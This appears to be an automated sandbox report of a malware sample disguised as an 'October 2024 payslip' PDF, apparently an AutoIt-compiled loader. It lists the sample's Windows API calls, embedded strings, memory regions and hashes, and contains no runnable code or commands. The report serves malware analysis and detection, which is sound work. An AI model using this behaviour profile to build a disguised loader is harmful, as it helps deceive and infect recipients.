Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00CA4B2B

Part of subcall function 00CA7D2C: _memmove.LIBCMT ref: 00CA7D66

GetCurrentProcess.KERNEL32(?,00D2FAEC,00000000,00000000,?), ref: 00CA4BF8
IsWow64Process.KERNEL32(00000000), ref: 00CA4BFF
GetNativeSystemInfo.KERNELBASE(00000000), ref: 00CA4C45
FreeLibrary.KERNEL32(00000000), ref: 00CA4C50
GetSystemInfo.KERNEL32(00000000), ref: 00CA4C81
GetSystemInfo.KERNEL32(00000000), ref: 00CA4C8D

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: f2cf213c6ebce662a25add259df3d989319162c75298ec6154fbcdf63cdfa492
Instruction ID: 60f0a91386563798786d83ab32ff5d68cf206d659f8715923072874b26844186
Opcode Fuzzy Hash: f2cf213c6ebce662a25add259df3d989319162c75298ec6154fbcdf63cdfa492
Instruction Fuzzy Hash: 3E91E53194ABC1DEC735CB6894511AAFFE4AF66304F444EAED0DB83B01D260EA08D729

Function 00CA4FE9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00CA4EEE,?,?,00000000,00000000), ref: 00CA4FF9
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00CA4EEE,?,?,00000000,00000000), ref: 00CA5010
LoadResource.KERNEL32(?,00000000,?,?,00CA4EEE,?,?,00000000,00000000,?,?,?,?,?,?,00CA4F8F), ref: 00CDDD60
SizeofResource.KERNEL32(?,00000000,?,?,00CA4EEE,?,?,00000000,00000000,?,?,?,?,?,?,00CA4F8F), ref: 00CDDD75
LockResource.KERNEL32(00CA4EEE,?,?,00CA4EEE,?,?,00000000,00000000,?,?,?,?,?,?,00CA4F8F,00000000), ref: 00CDDD88

Strings

SCRIPT, xrefs: 00CA5006

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: e25701008c197e13d5a3020fc661662a5ba180bac3129b3ec9423e7d760b6afa
Instruction ID: 31fc7b894b9e03c0032166909434cb5a9835f820b9ea7aa45ce71732543a649c
Opcode Fuzzy Hash: e25701008c197e13d5a3020fc661662a5ba180bac3129b3ec9423e7d760b6afa
Instruction Fuzzy Hash: A2115A75200701AFD7318B65DC58F6B7BB9EFCAB15F208578F516DA260EB61E8018670

Function 00CAFE40 Relevance: 5.5, APIs: 3, Instructions: 1040COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: BuffCharUpper
String ID:
API String ID: 3964851224-0
Opcode ID: 499a2b595e46c17bb42ab4b2b88d26c4021085e2f4485905afef6bcd3f52373b
Instruction ID: 4fd350f27ffdb85a476171d4f71961de4d1ed4175353cdbfb0231a90e2a924d2
Opcode Fuzzy Hash: 499a2b595e46c17bb42ab4b2b88d26c4021085e2f4485905afef6bcd3f52373b
Instruction Fuzzy Hash: 5E9246706083418FD724DF19C480B6BB7E1BF89304F24896DE89A9B362DB75ED45CB92

Function 00D04696 Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00CDE7C1), ref: 00D046A6
FindFirstFileW.KERNELBASE(?,?), ref: 00D046B7
FindClose.KERNEL32(00000000), ref: 00D046C7

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: cbf5b0c3d17bb04c9ac44a7c0ef47929ff23e70dbfb9a67f8e0dae540d762e4b
Instruction ID: 2ba427444fa99f6e29fc5da5eb3884c661717db36b220c8e709a0790efa3e63a
Opcode Fuzzy Hash: cbf5b0c3d17bb04c9ac44a7c0ef47929ff23e70dbfb9a67f8e0dae540d762e4b
Instruction Fuzzy Hash: F6E0D871C105009B8220A738EC4D9EA776CDE17335F500B25F939C11E0F7B0995085B9

Function 00CAE800 Relevance: 2.4, Strings: 1, Instructions: 1102COMMON

Download Yara Rule

Strings

Variable must be of type 'Object'., xrefs: 00CE428C

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID:
String ID: Variable must be of type 'Object'.
API String ID: 0-109567571
Opcode ID: f9d32fe4868241c2f9fd6ce0d4992c504c76abaa8beebcaf45e9738fbb488733
Instruction ID: 1e7dfde326110018040666bf6374c49fc6b4e11b2a45dedaa2eb44fc8f8090f7
Opcode Fuzzy Hash: f9d32fe4868241c2f9fd6ce0d4992c504c76abaa8beebcaf45e9738fbb488733
Instruction Fuzzy Hash: ADA29474E04206CFCB14CF99C484AAEB7B1FF4A318F248169E916AB351D775ED42CBA1

Function 00CB0B30 Relevance: 57.3, APIs: 27, Strings: 5, Instructions: 1300windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00CB0BBB
timeGetTime.WINMM ref: 00CB0E76
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00CB0FB3
TranslateMessage.USER32(?), ref: 00CB0FC7
DispatchMessageW.USER32(?), ref: 00CB0FD5
Sleep.KERNEL32(0000000A), ref: 00CB0FDF
LockWindowUpdate.USER32(00000000,?,?), ref: 00CB105A
DestroyWindow.USER32 ref: 00CB1066
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CB1080
Sleep.KERNEL32(0000000A,?,?), ref: 00CE52AD
TranslateMessage.USER32(?), ref: 00CE608A
DispatchMessageW.USER32(?), ref: 00CE6098
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CE60AC

Strings

@COM_EVENTOBJ, xrefs: 00CE591A
@TRAY_ID, xrefs: 00CE5BB9
@GUI_CTRLHANDLE, xrefs: 00CE540E
@GUI_CTRLID, xrefs: 00CE5364
@GUI_WINHANDLE, xrefs: 00CE53B9

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Message$DispatchPeekSleepTranslateWindow$DestroyLockTimeUpdatetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
API String ID: 4003667617-3242690629
Opcode ID: 756a7fe00f3e4c8c63a08e99a0be8318604c4f7df72949ed12333839cb4c4492
Instruction ID: af6418e5be1bd3bf2f58dab7b9f05f8a854f696c471894bc461316a7a9eec2d5
Opcode Fuzzy Hash: 756a7fe00f3e4c8c63a08e99a0be8318604c4f7df72949ed12333839cb4c4492
Instruction Fuzzy Hash: 44B2CF70608781DFD724DF25C884BAAB7E4BF85308F24491DF49A872A1DB71E984DB92

Function 00D093DF Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D091E9: __time64.LIBCMT ref: 00D091F3

Part of subcall function 00CA5045: _fseek.LIBCMT ref: 00CA505D

__wsplitpath.LIBCMT ref: 00D094BE

Part of subcall function 00CC432E: __wsplitpath_helper.LIBCMT ref: 00CC436E

_wcscpy.LIBCMT ref: 00D094D1
_wcscat.LIBCMT ref: 00D094E4
__wsplitpath.LIBCMT ref: 00D09509
_wcscat.LIBCMT ref: 00D0951F
_wcscat.LIBCMT ref: 00D09532

Part of subcall function 00D0922F: _memmove.LIBCMT ref: 00D09268
Part of subcall function 00D0922F: _memmove.LIBCMT ref: 00D09277

_wcscmp.LIBCMT ref: 00D09479

Part of subcall function 00D099BE: _wcscmp.LIBCMT ref: 00D09AAE
Part of subcall function 00D099BE: _wcscmp.LIBCMT ref: 00D09AC1

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00D096DC
_wcsncpy.LIBCMT ref: 00D0974F
DeleteFileW.KERNEL32(?,?), ref: 00D09785
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00D0979B
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00D097AC
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00D097BE

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 9571dd1ee31bc0c36ba3000ba776e06ec1b88bf8c4fb42b60b2e9fa6cfd217a1
Instruction ID: 384e570e4469862835a4b2d66ba9d68a08fcefe411543a8a9b4de549f8d8abc7
Opcode Fuzzy Hash: 9571dd1ee31bc0c36ba3000ba776e06ec1b88bf8c4fb42b60b2e9fa6cfd217a1
Instruction Fuzzy Hash: 0AC12AB1D00229AACF21DF95CC95FDEB7BDEF45310F0040AAF609E6192DB709A849F65

Function 00CA302C Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00CA3074
RegisterClassExW.USER32(00000030), ref: 00CA309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00CA30AF
InitCommonControlsEx.COMCTL32(?), ref: 00CA30CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00CA30DC
LoadIconW.USER32(000000A9), ref: 00CA30F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00CA3101

Strings

0, xrefs: 00CA3056
TaskbarCreated, xrefs: 00CA30A4
+, xrefs: 00CA305D
AutoIt v3 GUI, xrefs: 00CA3090

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: cd361dbe7ea1991ea339305583a0f030e96326a85f43fdea3da4690e9c449e2c
Instruction ID: 3fc9f6c87bad4c38441adc4efd9d0fcdf25a505336911b167a3bda1877ed633d
Opcode Fuzzy Hash: cd361dbe7ea1991ea339305583a0f030e96326a85f43fdea3da4690e9c449e2c
Instruction Fuzzy Hash: D321F5B1940309AFDB508FA4E988BCDBBF4FB18714F10492AE590E73A0D3B54581CFA0

Function 00CA3041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00CA3074
RegisterClassExW.USER32(00000030), ref: 00CA309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00CA30AF
InitCommonControlsEx.COMCTL32(?), ref: 00CA30CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00CA30DC
LoadIconW.USER32(000000A9), ref: 00CA30F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00CA3101

Strings

0, xrefs: 00CA3056
TaskbarCreated, xrefs: 00CA30A4
+, xrefs: 00CA305D
AutoIt v3 GUI, xrefs: 00CA3090

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 114c2d9a95765c9d366995cc4ed40a4e5f004d2adfd3169a255d6d2247b2fc64
Instruction ID: 408fc2c173f757603070e9b5eb22d398c64ae80e3c342ff3e3f9cc3d14f2b18c
Opcode Fuzzy Hash: 114c2d9a95765c9d366995cc4ed40a4e5f004d2adfd3169a255d6d2247b2fc64
Instruction Fuzzy Hash: C021AEB1940318AFDB109FA4E989B9DBBF4FB18704F10492AEA10E73A0D7B185458FB5

Function 00CA71EB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CA4864: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00D662F8,?,00CA37C0,?), ref: 00CA4882

Part of subcall function 00CC074F: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00CA72C5), ref: 00CC0771

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00CA7308
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00CDECF1
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00CDED32
RegCloseKey.ADVAPI32(?), ref: 00CDED70
_wcscat.LIBCMT ref: 00CDEDC9

Strings

Include, xrefs: 00CDECE8, 00CDED29
\, xrefs: 00CDEDEC
\Include\, xrefs: 00CA72C5
Software\AutoIt v3\AutoIt, xrefs: 00CA72FE

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: 93d6afe4c047f1d38dc1b24094d6f8d0d69d9099a03dfdfc0b947e795927ee0f
Instruction ID: 0314dd248bdbb47780e75f1f8fa6eafd8afa870d6227244dbdd6f24859becf97
Opcode Fuzzy Hash: 93d6afe4c047f1d38dc1b24094d6f8d0d69d9099a03dfdfc0b947e795927ee0f
Instruction Fuzzy Hash: 70718A714083069EC314EF65EC919ABBBE8FF99708F40092EF545C72A0EB709948DBB5

Function 00CA3A58 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00CA3A62
LoadCursorW.USER32(00000000,00007F00), ref: 00CA3A71
LoadIconW.USER32(00000063), ref: 00CA3A88
LoadIconW.USER32(000000A4), ref: 00CA3A9A
LoadIconW.USER32(000000A2), ref: 00CA3AAC
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00CA3AD2
RegisterClassExW.USER32(?), ref: 00CA3B28

Part of subcall function 00CA3041: GetSysColorBrush.USER32(0000000F), ref: 00CA3074
Part of subcall function 00CA3041: RegisterClassExW.USER32(00000030), ref: 00CA309E
Part of subcall function 00CA3041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00CA30AF
Part of subcall function 00CA3041: InitCommonControlsEx.COMCTL32(?), ref: 00CA30CC
Part of subcall function 00CA3041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00CA30DC
Part of subcall function 00CA3041: LoadIconW.USER32(000000A9), ref: 00CA30F2
Part of subcall function 00CA3041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00CA3101

Strings

#, xrefs: 00CA3B0D
AutoIt v3, xrefs: 00CA3B17
0, xrefs: 00CA3B06

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: f44264c5d8751c5ad3df9b619a4bc988be0638fa99621949c536e357b5920a38
Instruction ID: 6837243c2825d86d0df6d6896c4f429b90c8dc7f38304c8c213b00585c19a981
Opcode Fuzzy Hash: f44264c5d8751c5ad3df9b619a4bc988be0638fa99621949c536e357b5920a38
Instruction Fuzzy Hash: EE2106B1900308ABEB109FA4ED19B9D7FB4EB08715F10452AF504E63A0D7B696549FB8

Function 00CA3633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00CA36D2
KillTimer.USER32(?,00000001), ref: 00CA36FC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00CA371F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00CA372A
CreatePopupMenu.USER32 ref: 00CA373E
PostQuitMessage.USER32(00000000), ref: 00CA375F

Strings

TaskbarCreated, xrefs: 00CA3725

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: ab2085c31e44bbdfad6f0a6053562adeedd350d0fdb63cca376728edddcbad79
Instruction ID: b2bee6a4d9f178be2f40ea4508784188ec745a35311e542a5161eb74cf0fb675
Opcode Fuzzy Hash: ab2085c31e44bbdfad6f0a6053562adeedd350d0fdb63cca376728edddcbad79
Instruction Fuzzy Hash: 8B41F6B1200287BBDB245B28DD29B7E3765F756304F140529FA12D63B1CAA0DE1597B1

Function 00CA3778 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/AutoIt3ExecuteLine, xrefs: 00CA38B9
CMDLINERAW, xrefs: 00CA380D
/AutoIt3ExecuteScript, xrefs: 00CA38CE
>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 00CA37C0
/AutoIt3OutputDebug, xrefs: 00CA38A4
/ErrorStdOut, xrefs: 00CA388F
CMDLINE, xrefs: 00CA3834

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW
API String ID: 1825951767-3513169116
Opcode ID: 68c83c6ae3f4987bc386e939ffa25ab8c0828c49b25b68a3c5fd61a7a101207b
Instruction ID: 30e1499a4bd9bad9659157f952f938d8d12b7863b6cd802cf43dfa90517a5a05
Opcode Fuzzy Hash: 68c83c6ae3f4987bc386e939ffa25ab8c0828c49b25b68a3c5fd61a7a101207b
Instruction Fuzzy Hash: 03A14371D1026EABCF04EBA0DC91EEEB778BF15308F54052AF412A7191EF749A09DB60

Function 0130A3D0 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 0130A4A1
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0130A6C7

Memory Dump Source

Source File: 00000000.00000002.1673906698.0000000001307000.00000040.00000020.00020000.00000000.sdmp, Offset: 01307000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1307000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: c69e8af538ca099f1199ea1a41374fe769c00d7324591793f5319154b009097c
Instruction ID: bfa75c40a6275ba18b7c9a10438a5fd05d430780e3485d5e593acee3e47561f2
Opcode Fuzzy Hash: c69e8af538ca099f1199ea1a41374fe769c00d7324591793f5319154b009097c
Instruction Fuzzy Hash: C8A1F874E00209EBDB15CFA8D9A4BEEBBB5BF48308F108159E605BB2C0D7759A81CB54

Function 00CA39E7 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00CA3A15
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00CA3A36
ShowWindow.USER32(00000000,?,?), ref: 00CA3A4A
ShowWindow.USER32(00000000,?,?), ref: 00CA3A53

Strings

AutoIt v3, xrefs: 00CA3A0D, 00CA3A12, 00CA3A13
edit, xrefs: 00CA3A30

Memory Dump Source

